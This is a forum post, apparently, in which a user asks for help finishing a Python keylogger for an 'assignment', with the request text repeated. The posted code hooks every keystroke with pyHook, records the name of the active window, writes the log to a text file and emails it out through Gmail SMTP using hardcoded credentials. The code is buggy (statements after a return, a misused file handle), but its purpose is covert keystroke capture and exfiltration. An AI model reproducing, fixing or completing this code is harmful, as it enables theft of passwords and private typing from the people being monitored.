Hello dear users!
I have a assignment - create a keylogger
Keylogger must have:
- Sending data with e-mail (attachment .txt file)
- Every line in .txt file must write name of active window
Actually code is:
Can you someone help me?
I have a assignment - create a keylogger
Keylogger must have:
- Sending data with e-mail (attachment .txt file)
- Every line in .txt file must write name of active window
Actually code is:
import pyHook import pythoncom import sys from threading import Thread import time import utils import smtplib import base64 from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import csv # global parameters started = False keylog = "" current_window = "" filename = "protocolbackup.txt" length = 1 with open(filename, "w") as f: f.write("Recording started!") def OnKeyboardEvent(event): global current_window global keylog if current_window != event.WindowName: current_window = event.WindowName f.open(filename, "a+") keylog += "\n\n[{}] @ {}\n".format(current_window, time.ctime()) key = "" if event.Ascii == 8: key = '[Backspace]' elif event.Ascii == 13: key = '\n' elif event.Ascii == 27: key = '[ESC]' elif event.Ascii: key = chr(event.Ascii) keylog += key return(True) f.write(keylog) f.close() parsed_length = (int(length.get()) * 60) time.sleep((int(parsed_length)), sendmail()) keylog = "" def keylogger(): hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent hm.HookKeyboard() pythoncom.PumpMessages() hm.start() def sendmail(): global keylog recipients = ["[email protected]"] msg = MIMEMultipart() fromaddr = '[email protected]' toaddrs = recipients msg['Subject'] = 'Test' message = "" msg.attach(MIMEText(message)) msg.attach(MIMEText(open(filename).read())) mailserver = smtplib.SMTP("smtp.gmail.com", 587) # identify ourselves to smtp gmail client mailserver.ehlo() # secure our email with tls encryption mailserver.starttls() # re-identify ourselves as an encrypted connection mailserver.ehlo() mailserver.login('[email protected]', 'xxx') mailserver.sendmail(fromaddr, toaddrs, msg.as_string()) mailserver.quit() input()But I have problem.. Email doesn't send and doesn't writing data to .txt file..
Can you someone help me?